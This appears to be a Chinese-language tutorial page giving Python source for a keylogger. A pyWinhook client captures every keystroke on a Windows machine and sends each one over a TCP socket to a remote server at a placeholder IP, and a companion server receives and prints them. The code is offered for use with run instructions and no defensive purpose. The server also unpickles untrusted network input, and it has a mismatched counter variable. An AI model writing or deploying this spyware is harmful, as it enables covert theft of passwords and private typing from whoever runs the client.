python實現(xiàn)監(jiān)聽鍵盤
更新時間:2021年04月26日 11:36:52 作者:noc_13
這篇文章主要為大家詳細介紹了python實現(xiàn)監(jiān)聽鍵盤,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下
python實現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實現(xiàn)服務(wù)端
import pickle from io import BytesIO import socket #接收數(shù)據(jù) def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: connection,address = socket_obj.accept() #接受的數(shù)據(jù) recieved_message = b'' recieved_message_fragment = connection.recv(1024) while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024) try: obj = pickle.loads(recieved_message) print(obj['Key'],end=' ') except EOFError: file_name = 'recv_image_' + str(file_on) + '.bmp' recv_image = open(file_name,'wb') recv_image.write(recieved_message) file_on += 1 connection.close() if __name__ == '__main__': Server_IP = '0.0.0.0' Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽程序
#鍵盤監(jiān)聽 import pythoncom,pyWinhook,pickle,socket from io import BytesIO def Client_PIC(ip,port,obj): try: msg = pickle.dumps(obj) send_message = BytesIO(msg) send_message_fragment = send_message.read(1024) except: send_message = obj send_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment: socket_obj.send(send_message_fragment) send_message_fragment = send_message.read(1024) socket_obj.close() def OnkeyBoardEvent(event): dict_key = {} dict_key['MessageName'] = event.MessageName dict_key['Key'] = event.Key Client_PIC('你自己的ip地址',6666,dict_key) return True def Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages() if __name__ == '__main__': Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運行(先運行服務(wù)端,而后運行監(jiān)聽程序)
以上就是本文的全部內(nèi)容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
Python序列化基礎(chǔ)知識(json/pickle)
這篇文章主要為大家詳細介紹了Python序列化json和pickle基礎(chǔ)知識,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-10-10python使用selenium打開chrome瀏覽器時帶用戶登錄信息實現(xiàn)過程詳解
這篇文章主要介紹了python使用selenium打開chrome瀏覽器時帶用戶登錄信息,本文以實例給大家來展示如何讓selenium在打開chrome瀏覽器的時候帶上用戶的登錄信息,感興趣的朋友跟隨小編一起看看吧2022-02-02pytest文檔內(nèi)置fixture的request詳情
這篇文章主要介紹了pytest文檔內(nèi)置fixture的request詳情,文章圍繞主題展開詳細的內(nèi)容介紹,具有一定的參考價值,需要的小伙伴可以參考一下2022-08-08python3+PyQt5重新實現(xiàn)自定義數(shù)據(jù)拖放處理
這篇文章主要為大家詳細介紹了python3+PyQt5重新實現(xiàn)自定義數(shù)據(jù)拖放處理,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-04-04